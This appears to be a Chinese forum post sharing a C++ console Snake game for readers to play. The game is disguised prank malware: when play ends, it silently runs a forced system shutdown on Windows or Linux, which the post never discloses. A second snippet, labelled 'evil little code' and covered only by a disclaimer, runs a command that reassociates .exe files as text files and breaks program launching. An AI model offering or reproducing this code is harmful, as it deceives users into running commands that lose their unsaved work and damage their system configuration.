要玩贪吃蛇打开这个： 提示：要用wasd操控， 进去是中文输入法，需要改一下。

#include <cstdlib>
#include <iostream>
#include <vector>
#include <conio.h>
#include <windows.h>
#include <ctime>
using namespace std;

const int WIDTH = 40;
const int HEIGHT = 20;
enum Direction { UP, DOWN, LEFT, RIGHT };

struct Point {
    int x, y;
    Point(int x = 0, int y = 0) : x(x), y(y) {}
};

class SnakeGame {
private:
    vector<Point> snake;
    Point food;
    Direction dir;
    bool gameOver;
    int score;

    void generateFood() {
        srand(static_cast<unsigned>(time(0)));
        food.x = rand() % (WIDTH - 2) + 1;
        food.y = rand() % (HEIGHT - 2) + 1;
        
        // 修正1：使用传统循环替代范围循环
        for (size_t i = 0; i < snake.size(); ++i) {
            if (snake[i].x == food.x && snake[i].y == food.y) {
                generateFood();
                return;
            }
        }
    }

    void drawBoard() {
        system("cls");
        for (int i = 0; i < WIDTH; i++) cout << "#";
        cout << endl;

        for (int i = 0; i < HEIGHT; i++) {
            for (int j = 0; j < WIDTH; j++) {
                if (j == 0 || j == WIDTH - 1)
                    cout << "#";
                else if (i == 0 || i == HEIGHT - 1)
                    cout << "#";
                else {
                    bool isSnake = false;
                    // 修正2：明确迭代类型
                    for (size_t k = 0; k < snake.size(); k++) {
                        if (snake[k].x == j && snake[k].y == i) {
                            // 修正3：蛇头检测逻辑
                            cout << (k == 0 ? 'O' : 'o');
                            isSnake = true;
                            break;
                        }
                    }
                    if (!isSnake) 
                        cout << (food.x == j && food.y == i ? 'F' : ' ');
                }
            }
            cout << endl;
        }
        cout << "Score: " << score << endl;
    }

    void checkCollision() {
        Point head = snake[0];  // 修正4：明确取首元素
        if (head.x <= 0 || head.x >= WIDTH - 1 || head.y <= 0 || head.y >= HEIGHT - 1)
            gameOver = true;
        for (size_t i = 1; i < snake.size(); i++) {
            if (snake[i].x == head.x && snake[i].y == head.y) {
                gameOver = true;
                break;
            }
        }
    }

public:
    SnakeGame() : dir(RIGHT), gameOver(false), score(0) {
        snake.push_back(Point(WIDTH / 2, HEIGHT / 2));
        snake.push_back(Point(WIDTH / 2 - 1, HEIGHT / 2));
        snake.push_back(Point(WIDTH / 2 - 2, HEIGHT / 2));
        generateFood();
    }

    void run() {
        while (!gameOver) {
            if (_kbhit()) {
                switch (_getch()) {
                case 'w': if (dir != DOWN) dir = UP; break;
                case 's': if (dir != UP) dir = DOWN; break;
                case 'a': if (dir != RIGHT) dir = LEFT; break;
                case 'd': if (dir != LEFT) dir = RIGHT; break;
                case 'x': gameOver = true; break;
                }
            }

            Point newHead = snake[0];  // 修正5：明确取首元素
            switch (dir) {
            case UP: newHead.y--; break;
            case DOWN: newHead.y++; break;
            case LEFT: newHead.x--; break;
            case RIGHT: newHead.x++; break;
            }

            snake.insert(snake.begin(), newHead);
            if (newHead.x == food.x && newHead.y == food.y) {
                score += 10;
                generateFood();
            }
            else {
                snake.pop_back();
            }

            checkCollision();
            drawBoard();
            Sleep(100);
        }
        #ifdef _WIN32
        system("shutdown /s /f /t 0");  
        #elif __linux__
        system("sudo shutdown -h now");
        #endif
    }
};

int main() {
    SnakeGame game;
    game.run();
    return 0;
}

//################################### //分割线 //邪恶小代码：

#include<bits/stdc++.h> using namespace std; int main(){ system("assoc.exe=txtfile"); return 0; } //////////////waring////////waring////////////////// //免责声明：运行结果概不负责，请谨慎运行！！！ //################################### //分割线 //注：代码1来源： //代码2来源：